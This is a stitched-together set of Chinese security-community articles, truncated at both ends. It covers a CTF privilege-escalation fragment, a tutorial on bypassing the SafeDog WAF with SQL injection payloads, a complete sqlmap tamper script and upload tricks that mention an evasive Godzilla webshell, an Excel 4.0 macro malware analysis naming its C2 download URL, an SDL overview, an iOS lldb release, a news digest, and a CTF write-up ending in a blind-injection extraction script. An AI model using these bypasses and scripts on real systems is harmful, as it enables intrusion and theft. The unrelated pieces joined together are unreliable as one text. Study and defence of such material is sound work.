drwxr-x--x. 2 root apache 4096 Oct 23 2018 css
drwxr-x--x. 4 root apache 27 Oct 23 2018 dist
-rw-r-----. 1 root apache 2592 Oct 23 2018 index.html
drwxr-x--x. 2 root apache 242 Oct 23 2018 js
-rw-r-----. 1 root apache 5021 Oct 23 2018 login.php
-rw-r-----. 1 root apache 68 Oct 23 2018 logout.php
-rw-r-----. 1 root apache 5245 Oct 23 2018 page.php
-rw-r-----. 1 root apache 2324 Oct 23 2018 status.php
drwxr-x--x. 2 apache apache 6 Oct 23 2018 uploads
等待定时任务执行，`tail -f`监控`error.log`文件
[ldapuser@ctf backup]$ tail -f error.log
WARNING: No more files
fd6dxxxxxxxxxxxxxxxxxxx40c79ba053
tail: error.log: file truncated
日常维护钟，管理员编写运维脚本都喜欢使用通配符，往往导致一些安全问题，这个技巧在日常渗透测试，非常实用，值得学习一下。 | 社区文章 |
本问主要介绍过绕过安全狗的注入以及上传方法，内容偏新手，大佬勿喷。。
# 知识点介绍
开始先将本文所使用到的绕过方法知识点列出来
## 1.内联注释绕过
在mysql的语法中，有三种注释方法：`--`
和`#`（单行注释）和 `/* */`（多行注释）如果在`/*`后加惊叹号`!`意为`/* */`里的语句将被执行
在mysql中 `/*! ....*/`
不是注释，mysql为了保持兼容，它把一些特有的仅在mysql上用的语句放在`/*!....*/`中，这样这些语句如果在其他数据库中是不会被执行，但在mysql中它会执行。如下语句`/*!50001
select * from test */`;这里的50001表示假如 数据库是5.00.01及以上版本，该语句才会被执行。
## 2.异或绕过
在`^`没有被过滤的时候可以利用它来测试
异或：`xor`或`^`
逻辑运算就是：同假异真（两个条件结果相同就为假，结果不同就为真）
例如：1^0 就是 1 ，1^1 就是 0
例子：
lucy' Xor '1'='1' #
如果‘lucy’存在则前后都为真则为返回假
如果’lucy‘不存在则前为假后都为真则为返回真
Xor类似当前后都为真时返回假执行后面一个表达式
如果A为真，则查出不满足B条件数据;
如果A为假，则查出满足B条件数据；
## 3.换行绕过
换行符绕过:%23%0a、%2d%2d%0a
%23 是url编码中的 # (也就是MySQL中的行注释符)
%0A 是url编码中的 换行
%23 aaaa -->对应的就是 #aaaa （就相当于把这行给注释掉了）
而再加上%0a(也就是换行符，后面的语句又能成功执行了）
# 测试环境
APACHE版本的安全狗版本4.0.28330，WIN10
这里用pickachu靶场的字符型注入来测试
# 一、mysql注入绕过测试
通过fuzzy测试安全狗的拦截策略(字典后面附上)
## **and 1 (and后加数字拦截)**
过狗现在很好用的是内联注释加参数干扰，这里and加数字被过滤了，我们就直接将and后面的内容放进注释符里
这里也可以用&来代替and或者Xor也都不拦截
lucy' & '1'='1'#
lucy' Xor '1'='1'#
## **order by (这里order不拦截by不拦截，但是order后面加by会拦截)**
所以我们还是用之前的内联注释测试绕过
发现and能过的内联注释到了order by就不行了。这.... 抓头.jpg。再测试一下将order by全部放进内联里，也不行。
根据开头介绍的内联的特性，往内联里加数字进行测试。这里可以多准备些五位数因为一些常用的已经被狗拦了
简单的fuzz 了一下，发现 了大量的可以绕过的版本号
10440 – 10449 13440-13449 14400-14499 15440-15449 16440-16449 17440-17449
18440-18449 等等
这里还有一种变形，首先看到这里一般的内联被过滤了
lucy' /**/order /**/by #
但是可以在内联注释中随机添加上一步中被狗拦截的五位数字,并随机添加一些字母，但是必须要放在order by等关键字的中间，功能相当于空格.
lucy' order/*!77777cz*/by 1#
## union select (union后跟select会被拦截)
union select绕过可以直接加内联，因为安全狗看重的是关键字，要绕过只需要中间加些干扰就行。
但union select中间需要放两个内联才行,之后的都是这样。
-1' union /*!11440 select*/ 1,2#
-1' union / _!77777cz_ // _!77777cz_ / select 1,2#
## user()、database() (关键词跟括号会被拦截)
以前版本的在 **database()** 中间插空格符已经不管用了
tip:Mysql中可以利用的空白字符有：%09,%0a,%0b,%0c,%0d,%20,%a0
但可以用内联绕过,直接把()放到内联里，或者经过简单的变形就能过
-1' union /*!77777cz*//*!77777cz*/ select database/*!77777a*/(),2#
## select xxx from xxx (select 任意字符 from 后面跟任意字符等也会拦截)
这里将select table_name和from information_schema.tables单独进行测试，发现都不会被拦截，但是用select
table_name,2 from information_schema.这种组合进行测试时就会被拦截。再测试select xxx from
xxx发现被拦截。说明select后面跟任意字符再加上from再加上任意字符就会被拦截。
这里只需要将select放进内联即可绕过，也可以像之前一样在from前面加两个内联`/*!77777cz*/`，我这里为了简洁就只写一种。
查表名
-1' union /*!11440select*/ group_concat(table_name),2 from information_schema.tables where table_schema=database/*!77777cz*/()#
还可以用mysql>5.6版本的新特性,mysql库多了两个新表,innodb_index_stats 和 innodb_table_stats
这两个表是数据库自动设置的用于记录更改和新创建的数据库和表的信息，但准确的说是保存最近的数据库变动记录。安全狗没有对这两个关键字进行限制。
具体怎么查爆内容看[这篇文章](https://www.jianshu.com/p/6eba3370cfab "这篇文章")
查表名
1' union /*!11440select*/ group_concat(table_name),2 from mysql.innodb_index_stats where database_name=database/*!()*/#
## 时间盲注和报错
经测试
sleep()不会被拦但sleep()里面加数字就会被拦
updatexml()不会被拦，但是能执行的updatexml(1,1,0)会被拦截
都可以用内联进行绕过
lucy ' /*!11440or*/ /*!11440sleep(3)*/#
-1'AND updatexml/*!77777cz*/(1,version(),0)#
最基本的绕过方式已经找到，但我们的目的是编写sqlmap tamper来一键化过狗,先将上面的方法写成tamper来进行测试
tamper的编写很简单[参考这篇](https://www.jianshu.com/p/c24727dd1f7a "参考这篇")
我这里简单介绍下payload替换部分，假如在服务器上AND被拦截，我们想用内联注释/ _!11444AND_ /绕过，就需要这样写
def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!11444AND*/')
其他的order、union、sleep等都是同样的方法。
在测试tamper的时候将sqlmap等级调整为v3这样可以显示使用到的语句
测试过程中发现sqlmap在进行联合注入测试时，会使用UNION ALL SELECT语句，同样的UNION ALL SELECT语句也是UNION
ALL不拦截，UNION ALL SELECT才会被拦截，所以也是只需要对SELECT进行内联注释就行。
最后结果可以看到，所有类型的注入都可以跑出来
但是在测试查询所有数据库名时sqlmap会使用USER()和SESSION_USER()函数，还是用之前的方法，在字母和括号之间使用内联`USER/*!77777cz*/()`,但是这样的话SESSION_USER()函数也会被转换成`SESSION_USER/*!77777cz*/()`然后就会报错。
所以要单独对SESSION_USER()使用另一种内联来绕过，/ _!11440SESSION_USER()_ /
最后效果
# 最终tamper
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers ([url]http://sqlmap.org/[/url])
See the file 'LICENSE' for copying permission
Author:LUSHUN
"""
import re
import os
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Bypass safedog4.0'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!11440AND*/')
payload=payload.replace('ORDER','order/*!77777cz*/')
payload=payload.replace("SELECT","/*!11440SELECT*/")
payload=payload.replace("SLEEP(","sleep/*!77777cz*/(")
payload=payload.replace("UPDATEXML(","UPDATEXML/*!77777cz*/(")
payload=payload.replace("SESSION_USER()","/*!11440SESSION_USER()*/")
payload=payload.replace("USER())","USER/*!77777cz*/())")
payload=payload.replace("DATABASE()","DATABASE/*!77777cz*/()")
return payload
# 二、绕过上传测试
安全狗的上传限制措施是黑名单。
我这里用一个哥斯拉马来做测试，看到上传文件服务器直接报500
方法一：等号绕过
在filename后多添加两个等号
方法二：换行绕过
在文件后缀名处换行
方法三：填充垃圾字符
在Content-Disposition字段后添加垃圾数据，来绕过对文件名的校验
tip:一些对文件内容进行检测的waf也可以用这种方法绕过,添加在文件内容的开头
在测试过程中还发现安全狗日志警报
说明安全狗对Content-Type也是有限制
# 三、免杀
注入上传都绕过了,兴奋的准备getshell时却发现马被拦了，那不是很尴尬。
绕过方法千千万，由于篇幅限制(等有空了再写...)
这里就贴一个哥斯拉的免杀马子.......php的。
密码lushuntest 加密器XOR | 社区文章 |
**作者: Yenn_
原文链接: [Wei's
Blog](https://0xdf1001f.github.io/2020/12/22/%E5%AF%B9Excel-4-0-Macro%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81%E7%9A%84%E4%B8%80%E6%AC%A1%E5%88%86%E6%9E%90/)**
## 0x1 背景
今天在推特上看见一个老哥发了一个针对意大利的样本，还是热乎的，遂下载下来分析看看，没想到是个Excel 4.0 Macro的样本，以前没仔细分析过Excel
4.0 Macro也没有总结记录过，这里写个文章总结一下分析的过程。
目的在于记录Excel 4.0 Macro的分析方法，所以就不跑动态行为和其他行为特征了，只看代码。
样本在http://yenne.ys168.com/
Sample目录下Abusech_ursnif.xls.zip
[
## 0x2 样本信息
File Name | File Size | File Type | MD5
---|---|---|---
Abusech_ursnif.xls | 202,240 Byte | Trojan | 0dd976de7791a9839f9bc1ef3b9ad2e9
## 0x3 样本分析
xls文件名为”zv”表中打开一块空白，但仔细一看表有50000+行代码，其中大部分为空，部分代码穿插在表中
[
### 寻找代码
刚开始分析，搞了半天，也没有看见完整的代码，常用的oledump好像并不能Dump出Excel 4.0 Macro的代码
[
后来找到了一个olevba.py的工具，属于分析OLE文件套件oletools下的一个工具，oletools网址http://www.decalage.info/python/oletools
安装方法：pip install -U https://github.com/decalage2/oletools/archive/master.zip
直接在CMD使用就好。
Usage: olevba [options] <filename> [filename2 ...]
Options:
-h, --help show this help message and exit
-r find files recursively in subdirectories.
-z ZIP_PASSWORD, --zip=ZIP_PASSWORD
if the file is a zip archive, open all files from it,
using the provided password.
-p PASSWORD, --password=PASSWORD
if encrypted office files are encountered, try
decryption with this password. May be repeated.
-f ZIP_FNAME, --zipfname=ZIP_FNAME
if the file is a zip archive, file(s) to be opened
within the zip. Wildcards * and ? are supported.
(default:*)
-a, --analysis display only analysis results, not the Excel 4.0 Macro source
code
-c, --code display only VBA source code, do not analyze it
--decode display all the obfuscated strings with their decoded
content (Hex, Base64, StrReverse, Dridex, VBA).
--attr display the attribute lines at the beginning of VBA
source code
--reveal display the Excel 4.0 Macro source code after replacing all the
obfuscated strings by their decoded content.
-l LOGLEVEL, --loglevel=LOGLEVEL
logging level debug/info/warning/error/critical
(default=warning)
--deobf Attempt to deobfuscate VBA expressions (slow)
--relaxed Do not raise errors if opening of substream fails
Output mode (mutually exclusive):
-t, --triage triage mode, display results as a summary table
(default for multiple files)
-d, --detailed detailed mode, display full results (default for
single file)
-j, --json json mode, detailed in json format (never default)
olevba.py可以得到样本内的代码与分析的结果
[
将输出结果重定向到文件中
[
### 寻找Auto_Open
输出的内容有1000+行，都不知道从哪开始找Auto_Open运行的函数，搜索Formula也没有结果，后来发现搜索auto_open后，在auto_open后面跟着要执行的函数地址
[
在最后”zv!CC906”，zv是表的名称，CC906是表中单元格位置，不知道为啥DUMP出的数据表格位置和文件中的位置有一点差距。
在DUMP的数据中找到CC906的位置，调用了一个DT31804
[
再找到DT31804
[
### 反调试
可以看见调用了一个函数 APP.MAXIMIZE()，因为DUMP出的表格地址和文件中的地址有偏差，所以直接去文件中搜函数名APP.MAXIMIZE
[
这里就是部分反调试代码
=IF(GET.WINDOW(7),$HN$8144(),) //检查窗口是否隐藏
=IF(GET.WINDOW(20),,$HN$8144()) //检查窗口是否最大化
=IF(GET.WINDOW(23)<3,$HN$8144(),) //检查窗口大小
=IF(GET.WORKSPACE(31),$HN$8144(),) //检查代码是否单步运行
=IF(GET.WORKSPACE(13)<770,$HN$8144(),) //检查WorkPlace宽度
=IF(GET.WORKSPACE(14)<380,$HN$8144(),) //检查WorkPlace高度
=IF(GET.WORKSPACE(19),,$HN$8144()) //检查是否有鼠标
=IF(GET.WORKSPACE(42),,$HN$8144()) //检查是否有音频设备
=IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),,$HN$8144())
=$BJ$9452() //获取当前运行样本的环境及版本号
反调试代码有一步没有通过，就会跳转到HN8144直接关闭程序的代码
### 代码
反调试代码后，跳转到地址BJ9452处，在文件中跟过去就行
[
在olevba.py dump出的文件中的代码和样本中的代码有部分不一样
dump数据中的代码
[
样本中的代码
[
在样本中单步代码，选择求值，就可以得到和DUMP中一样的代码
[
然后有大量的类似代码用于加解密代码
[
### 下载执行
执行完成后，跳转到，调用导出函数
[
调用URLDownloadToFileA从C2服务器”http://link.rolandchase.com/setup.exe"下载文件，并保存为"upeypgt.exe"
[
[
下载完成后，再调用ShellExecuteA执行这个下载回的文件
[
[
## 0x4总结
分析过程中，可以通过olevba.py将代码DUMP出来，找到样本运行执行的函数，开始调试，在调试过程中，可点击求值选项，将混淆后的值反混淆出来，单步跟随得到样本目的。
* * * | 社区文章 |
# SDL
## 什么是SDL
SDL其实是由微软提出并应用一个帮助开发人员构建更安全的软件和解决安全合规要求的同时降低开发成本的软件开发过程，侧重于软件开发的安全保证过程，旨在开发出安全的软件应用。
**SDL**
的核心理念就是将安全考虑集成在软件开发的每一个阶段：需求分析、设计、编码、测试和维护。从需求、设计到发布产品的每一个阶段每都增加了相应的安全活动，以减少软件中漏洞的数量并将安全缺陷降低到最小程度。
## 为什么要做SDL
举个例子：
在大部分企业中，传统的做法是在产品快要上线前经过安全测试或者安全扫描，这种做法比较局限。在发现安全问题和解决问题都是在整个流程的后期，这样就会导致项目交付时间紧迫，安全活动往往被牺牲在紧张的交付时间期限内，导致大量安全活动被压缩。
而且在大型企业中，有众多的产品线，而这些产品线只能靠投入人力资源去跟踪测试，随着开发需求的不断增多，投入的安全人力资源也需要增多，给企业增加大量的成本负担。
那SDL可以为企业带来什么？
首先SDL是将 **安全活动嵌入到整个流程中**
去，从立项需求评审、开发代码扫描、测试漏洞扫描、发布基础环境检查、上线实时安全监控与检查这些环节逐步保证研发流程的安全，做到尽可能将安全问题往前移，建立
**流水线的日常安全任务** 保证安全横向(全面覆盖所有的研发项目)、纵向(对一个研发项目各个环节加入安全检查)的覆盖率。
SDL好处之一是在 **全流程中介入安全，越早发现漏洞问题，修复成本越低** ；产品的安全状态 **可以在整个开发过程得到更精准的反馈**
，有助于产品的安全进度管理。
这是一张在各个时期修复漏洞所产生的成本
可以看到在软件发布运行一段时间后，才发现的漏洞，需要运维，发布的介入，修复成本成几何级数上升，给企业带来相当大的风险和成本压力，若漏洞已被黑客发现或利用，造成的损失和影响将更大。
而在研发阶段，发现的漏洞可以由开发直接修复，成本低，效率高。
所以 **越早发现漏洞问题，修复成本越低** 。
## 微软SDL
微软官网上的SDL实施流程图
下面来解释下这些安全步骤
1. 培训： 管理制度，提供安全培训， 增强安全意识，确保人员了解安全基础知识。
2. 需求： 安全要求，定义安全隐私要求与安全门限要求，包括法律和行业要求，内部标准和编码惯例，对先前事件的审查以及已知威胁等，安全门限要求指安全质量 的最低可接受级别，明确定义安全漏洞的严重性阈值；
3. 设计： 安全隐私 需求分析与设计，具体措施包括执行威胁建模，建立设计要求，明确加密标准；
4. 实施： 管理使用第三方组件的安全风险，拥有准确的第三方组件清单，并了解其安全漏洞可能对集成它们的系统的安全性产生影响；
5. 验证： 安全研发与验证，具体举措包括使用经过安全性检查，认可 的工具，执行静态应用程序与动态应用程序安全性测试，进行渗透测试；
6. 发布： 发布部署阶段，建立标准的事件响应流程；
7. 响应： 针对运营安全， 通过人员权限认证，数据加密存储、传输，安全监控，定期更新安全策略，抵御常见网络攻击，执行渗透测试等手段保证上线运营阶段的安全。
### 培训Training
**核心安全培训**
提高团队安全意识，对齐安全需求。
开发团队的所有成员都需要接受适当的安全培训，了解相关的安全知识，培训对象包括开发人员，测试人员、项目经理、产品经理等。项目的中期可开展针对性的培训，例如代码中经常出现的问题，测试过程中多次出现的漏洞等等。
### 需求Requirements
**1.确认安全需求**
安全研发与验证，具体举措包括使用经过安全性检查，认可 的工具，执行静态应用程序与动态应用程序安全性测试，进行渗透测试；
**2.创建质量标准及Bug栏**
用于确定安全和隐私质量的最低可接受级别，在项目开始时定义这些标准可加强对安全问题相关风险的理解，并有助于团队在开发过程中发现和修复安全bug。
项目团队必须协商确定每个开发阶段的质量门，随后将质量门交由给安全顾问审批，安全顾问可以根据需要添加特定于项目的说明，以及更加严格的安全要求。
**3.安全 &隐私风险评估**
项目的哪些部分在发布前需要威胁模型；
项目的哪些部分在发布前需要进行安全设计评析；
项目的哪些部分需要不属于项目团队且双方认可的小组进行渗透测试；
是否存在安全顾问认为有必要增加的测试或分析要求以缓解安全风险；
模糊测试的具体范围；
隐私对评级的影响。
### 设计Design
**1.确认设计要求**
在设计阶段应该仔细考虑安全和隐私问题，在项目初期确定好安全需求，尽可能避免安全引起的需求变更。
**2.分析攻击面**
减小攻击面与威胁建模紧密相关，不过它解决安全问题的角度稍有不同。减小攻击面通过减小攻击者利用潜在弱点或漏洞的机会来降低风险。
**3.威胁建模**
为项目或产品面临的威胁建立模型，明确分析攻击可能来自哪里。
### 实施Implementation
**1.使用批准工具**
开发团队使用的编辑器、链接器等相关工具，可能会涉及一些安全相关的环节，因此在使用工具的版本上，需要提前与安全团队进行沟通；
**2.弃用不安全的函数**
许多常用函数可能存在安全隐患，应当禁用不安全的函数API，使用安全团队推荐的函数。
**3.对代码进行静态安全检查（静态分析）**
代码静态分析可以由相关工具辅助完成，其结果与人工分析相结合。
### 验证Verification
**1.动态安全测试（动态分析）**
动态分析是静态分析的补充，用于测试环节验证程序的安全性。
**2.模糊测试**
模糊测试策略的制定，以应用程序的预期用途，以及应用程序的功能和设计规范为基础。
**3.攻击面评审**
项目经常会因为需求等因素导致最终的产出偏离原本设定的目标，因此在项目后期对威胁模型和攻击面进行评析是有必要的，能够及时发现问题并修正。
### 发布Release
**1.制定安全应急响应计划**
每个软件在发布时都必须包含事件响应计划。即使在发布时不包含任何已知漏洞的产品，也可能在日后面临新出现的威胁。如果产品中包含第三方的代码，也需要留下第三方的联系方式并加入事件响应计划，以便在发生问题时能够找到对应的人。
**2.最终安全评审（FSR）**
是在发布之前仔细检查对软件执行的所有安全活动。
**3.发布归档**
在通过FSR或者虽有问题但达成一致后，可以完成产品的发布。但发布的同时仍需对各种问题和文档进行存档，为紧急响应和产品升级提供帮助。
### 响应Response
**执行安全应急响应计划**
## 安全设计核心原则
微软多年的实践和经验，软件的安全问题很大一部分是由于不安全的设计而引入的。
在设计阶段造成的安全缺陷在后期修复的成本和时间都相对较高。
相应的微软SDL也提出了若干核心的安全设计原则，并提出了如攻击面最小化、STRIDE 威胁建模等多种方法辅助安全人员对软件进行安全设计。
### 威胁模型
在SDL模型里，还有个很重要的执行要点，那就是威胁建模，威胁建模是在需求设计阶段的一项识别和消减威胁的重要手段。关于威胁建模，微软提出的一个方法叫做“STRIDE”。
STRIDE威胁建模基于数据流图去识别不同环节是否存在仿冒、篡改、抵赖、信息泄露、拒绝服务、权限提升几个维度的安全威胁，并制定对应的消减措施，落实并验证的一个过程。
## SDL困难
* 实施SDL导致整个流程线延长，安全开发软件所需的时间也随之延长，但碍于项目交付时间有限，最终会导致安全在活动中流于形式。
* 由于开发人员安全意识以及能力欠缺，仅靠人工实现效果差强人意，所以还需要配合自动化平台工具使用。
* 部分企业由于没有符合自身的一套安全开发流程，按照SDL模型照猫画虎去实现安全活动往往也没办法使得安全活动很好的落地，这样导致的结果就是整个安全研发流程流于形式。
## 总结
实施SDL不能照搬照的实际情况。 SDL只是一个方法指导，具体如何实施还是需要依赖于自己公司的业务，还是得结合公司务情况。
应该做到以人为本，尽可能的为研发团队着想，为研发团队安全赋能，降低其安全实施门槛，能够轻轻松松的应付各种安全问题。
SDL实施是一个从上到下的过程，不仅需要对开发以及安全等人员进行培训，还需要让高层领导了解到实施SDL的重要性。
## reference：
微软SDL流程终极整理总结
<https://blog.csdn.net/weixin_43965597/article/details/122882914>
从SDL到DevSecOps：始终贯穿开发生命周期的安全 <https://zhuanlan.zhihu.com/p/146149814> | 社区文章 |
作者：Proteas@360 Nirvan Team
苹果大概从 2013 年开始就不再维护 iOS 版的 GDB，iOS 平台一直没有好用的本地调试器，造成调试 iOS
应用相对繁琐。为了解决本地调试的问题，2015 年我们将 lldb 移植到了 iOS 平台，在一定程度上提高了工作效率。现在，360 Nirvan Team
决定将 iOS 版的 LLDB 公开，也算为行业做点小贡献。
**项目地址：<https://github.com/Proteas/native-lldb-for-ios>**
**2017 ISC 大会演讲 PPT
下载：[《手把手教你突破iOS9.x的用户空间防护》](https://images.seebug.org/archive/%E6%89%8B%E6%8A%8A%E6%89%8B%E6%95%99%E4%BD%A0%E7%AA%81%E7%A0%B4iOS9.x%E7%9A%84%E7%94%A8%E6%88%B7%E7%A9%BA%E9%97%B4%E9%98%B2%E6%8A%A4.pdf
"《手把手教你突破iOS9.x的用户空间防护》")**
#### Warning: !!! ON YOUR OWN RISK !!!
1. Only tested on iOS 8.4/9.0.2, ARM64, untethered jailbreak.
2. Do not use it on tethered jailbreak device, it may break the system, and cause white apple.
3. If you do want to use it on tethered jailbreak device, I suggest that unpacking the deb and install it manually, make sure not overriding any system library(libncurses.5.4.dylib, libpanel.5.4.dylib).
#### Install
1. `dpkg -i python-v2.7.6-proteas-2015-11-30.deb`
2. `dpkg -i lldb-v3.8.0-proteas-2016-05-06.deb`
#### Uninstall
1. `dpkg -r python`
2. `dpkg -r lldb`
#### Known Issues
discard messages which outputting to stdout & stderr.
#### Hash
* python-v2.7.6-proteas-2015-11-30.deb: 50d3fa7d260e2d5f5fab071bfff3e7e4
* lldb-v3.8.0-proteas-2015-12-16.deb: 27b951e2464746227dd9f984832afa97
* lldb-v3.8.0-proteas-2016-05-06.deb: 01de06f36baaf7b484a7c2080c74b3cf
#### Note
* Python: you should first install Python in Cydia, then install the deb from cmd.
* Any dylib loaded by lldb should be codesigned.
* My lldb compiling env is broken, so I can't fix any issue.
* You can write your debugger or security tools based on lldb in Python, demo: <https://github.com/llvm-mirror/lldb/blob/master/examples/python/process_events.py>
* The deb contains: armv7, armv7s, arm64, so you can thin it to use less storage.
#### Contact
* <https://twitter.com/ProteasWang>
* <http://weibo.com/proteaswang>
* * * | 社区文章 |
# 1月31日安全热点 - 2017年GooglePlay商店删除70万个恶意应用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Oracle Micros销售系统漏洞使业务数据存在被盗风险
<http://www.zdnet.com/article/oracle-micros-point-of-sale-systems-to-security-flaw/>
2017年Google从Play商店中删除了700,000多个恶意Android应用
<https://www.bleepingcomputer.com/news/security/google-removed-over-700-000-malicious-android-apps-from-the-play-store-in-2017/>
2018年金融恶意软件趋势和预测：有组织的网络犯罪还将持续
<https://securityintelligence.com/2018-financial-malware-trends-and-predictions-organized-cybercrime-continues-to-rise/>
被盗的安全标志曾经被错误地认定为PUP
<https://blog.malwarebytes.com/threat-analysis/social-engineering-threat-analysis/2018/01/stolen-security-logos-used-to-falsely-endorse-pups/>
## 技术类
数字勒索：前瞻性观点
<https://blog.trendmicro.com/trendlabs-security-intelligence/digital-extortion-forward-looking-view/>
青蛙旅行 —— Unity3d类安卓游戏逆向分析初探
<https://paper.seebug.org/519/>
GandCrab勒索软件工具包分析
<https://blog.malwarebytes.com/threat-analysis/2018/01/gandcrab-ransomware-distributed-by-rig-and-grandsoft-exploit-kits/>
TheMoon : 一个僵尸网络的老皇历和新变种
<http://blog.netlab.360.com/themoon-botnet-a-review-and-new-features/>
挖洞技巧：Web和APP方面的信息收集
<https://www.anquanke.com/post/id/96602>
CVE-2017-8570首次公开的野外样本及漏洞分析
<https://www.anquanke.com/post/id/96607>
使用Word2Vec和T-SNE进行推文的NLP分析
<https://labsblog.f-secure.com/2018/01/30/nlp-analysis-of-tweets-using-word2vec-and-t-sne/>
僵尸物联网收割者：僵尸网络服务中的1day和0day漏洞
<https://embedi.com/blog/grim-iot-reaper-1-and-0-day-vulnerabilities-at-the-service-of-botnets/>
深入研究：Kaseya VSA Mining Payload
<https://medium.com/huntresslabs/deep-dive-kaseya-vsa-mining-payload-c0ac839a0e88>
黑客课程 – 实践2 – 如何识别目标
<https://en.gburu.net/ethical-hacking-course-practice-2-recognition-of-the-objective/>
通过强化学习来规避静态 PE 机器学习恶意软件检测模型：
<https://arxiv.org/pdf/1801.08917.pdf>
列举利用GPO实现远程访问的方法
<https://labs.mwrinfosecurity.com/blog/enumerating-remote-access-policies-through-gpo/>
分析FreeBSD兼容层中的堆栈溢出漏洞
<https://cturt.github.io/compat-info-leaks.html>
如何利用SeTakeOwnershipPrivilege
> [Exploiting System Shield AntiVirus Arbitrary Write Vulnerability using
> SeTakeOwnershipPrivilege](http://www.greyhathacker.net/?p=1006)
如何使用MSSP来提高安全性
<https://www.gartner.com/doc/3849764>
Windows特权升级指南
<http://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/> | 社区文章 |
# ISC2015攻防挑战赛靶机攻略:PHP代码审计类
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
****
**Mars@0kee Team**
**
**
**0x01 低分靶机1:**
右键查看网页源码可以看到PHP源码:
if (isset($_POST['0kee_username']) and isset($_POST['0kee_password'])) {
if ($_POST['0kee_username'] == $_POST['0kee_password']){
die("0kee_username should different from 0kee_password");
}else if(crc32($_POST['0kee_username']) === crc32($_POST['0kee_password'])){
redirect();
}else{
die("0kee_username or 0kee_password is incorrect");
}
}
很简单,只要POST提交0kee_username[]=a&0kee_password[]=b即可,因为crc32的参数为数组时返回NULL。
登陆成功后进入下一个页面,右键查看网页源码可以看到提示 “李老师在PHP中留下了后门,你能找到他吗?”
当前url是:?name=shell.php.jpg,
看到.php.jpg后缀,猜测后门是跟解析漏洞或者字符串截断有关,因此可以Fuzz一下?name=shell.php.{$suffix} 和
?name=shell.php{$chr}.jpg,最后发现 ?name=shell.php%0a.jpg
可以解析shell.php文件,成功访问到shell。
**
**
**0x02 低分靶机2:**
扫描发现备份文件index.php.bak,下载后得到index.php源码,如下:
error_reporting(0);
function RotEncrypt($str, $pass){
$pass = str_split(str_pad('', strlen($str), $pass, STR_PAD_RIGHT));
$stra = str_split($str);
foreach($stra as $k=>$v){
$tmp = ord($v)+ord($pass[$k]);
$stra[$k] = chr( $tmp > 255 ?($tmp-256):$tmp);
}
return join('', $stra);
}
function post($url, $post_data = '', $timeout = 5){
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_POST, 1);
if($post_data != ''){
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
}
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_HEADER, false);
$file_contents = curl_exec($ch);
curl_close($ch);
return $file_contents;
}
$name = addslashes($_POST['name']);
$cat = addslashes($_POST['cat']);
$content = <<< EOF
<div style="text-align:center;margin-top:150px;">
<h3>Book search system</h3>
<form action="admin.php" method="post">
Name: <input type="text" name="name" value="king"></input><br>
Category: <select name="cat">
<option value ="Classic Literature & Fiction">Classic Literature & Fiction</option>
<option value ="Literary">Literary</option>
<option value ="Literature & Fiction">Literature & Fiction</option>
<option value ="Military History">Military History</option>
<option value ="Thrillers & Suspense">Thrillers & Suspense</option>
<option value ="Historical">Historical</option>
</select>
<input type="submit" name="submit" value="Query"></input><br>
</form>
</div>
EOF;
echo $content;
if($name && $cat){
echo post("http://10.18.25.154:10002/isc/query.php",array("data"=>RotEncrypt("name=$name&cat=$cat","ISC2015")));
}
if($_POST['key'] == "{$key}"){
system($_GET['cmd']);
}
/*
query.php:
include "config.php";
function RotDecrypt($str, $pass){
$pass = str_split(str_pad('', strlen($str), $pass, STR_PAD_RIGHT));
$stra = str_split($str);
foreach($stra as $k=>$v){
$tmp = ord($v)-ord($pass[$k]);
$stra[$k] = chr( $tmp < 0 ?($tmp+256):$tmp);
}
return join('', $stra);
}
function Fsql($sql){
if(preg_match('/(and|ascii|concat|from|group by|group_concat|hex|limit|lpad|or|select|substr|union|where|s)/i', $sql)){
return "";
}else{
return $sql;
}
}
parse_str(RotDecrypt($_POST['data'],"ISC2015"), $str);
$connection = mysql_connect($db_host,$db_username,$db_password) or die("could not connect to Mysql");
mysql_query("set names 'utf8'");
$db_selecct=mysql_select_db($db_database) or die("could not to the database");
$query="select * from test where name = '".Fsql($str[name])."'";
$result = @mysql_query($query);
if($result){
$res=mysql_fetch_array($result);
if($res['name']){
echo $str[name]." exist.";
}else{
echo $str[name]." not exist.";
}
}
*/
注:其中query.php是不能访问的。
仔细看了一下源码,发现其实是利用parse_str解码,然后绕过WAF的SQL注入。
1\. 首先看看index.php,它使用CURL将POST请求发送到query.php,
然后query.php使用parsestr接受参数,相信敏感的童鞋已经发现问题了,parsestr对字符串进行解析,同时还自带urldecode功能,所以name参数通过使用%2527就可以绕过addslashes函数。
2\. 接下来面对的就是一个简单的WAF函数Fsql,它过滤了指定的一些关键字,参考 https://www.exploit-db.com/papers/17934/ , 绕过方法如下:
'||if(rpad(`key`,1,1)='a',sleep(3),1)#
通过以上分析,写了一个简单的Python脚本来跑出Key:
import httplib
import time
import urllib
headers = {"Content-type": "application/x-www-form-urlencoded" , "Accept": "text/plain"}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789'
print '[%s] Start to retrive key:' % time.strftime('%H:%M:%S', time.localtime())
key = ''
for i in range(1, 33):
for payload in payloads:
err_count = 0
try:
s = "'||if(rpad(`key`,%d,1)='%s',sleep(3),1)#" % (i,key+payload)
body = "name=%s&cat=aaa&submit=Query" % urllib.quote_plus(urllib.quote_plus(s))
conn = httplib.HTTPConnection('192.168.8.144', timeout=3)
conn.request(method='POST',url='/',body=body,headers=headers)
conn.getresponse()
conn.close()
except:
key += payload
print "n retrive...",key
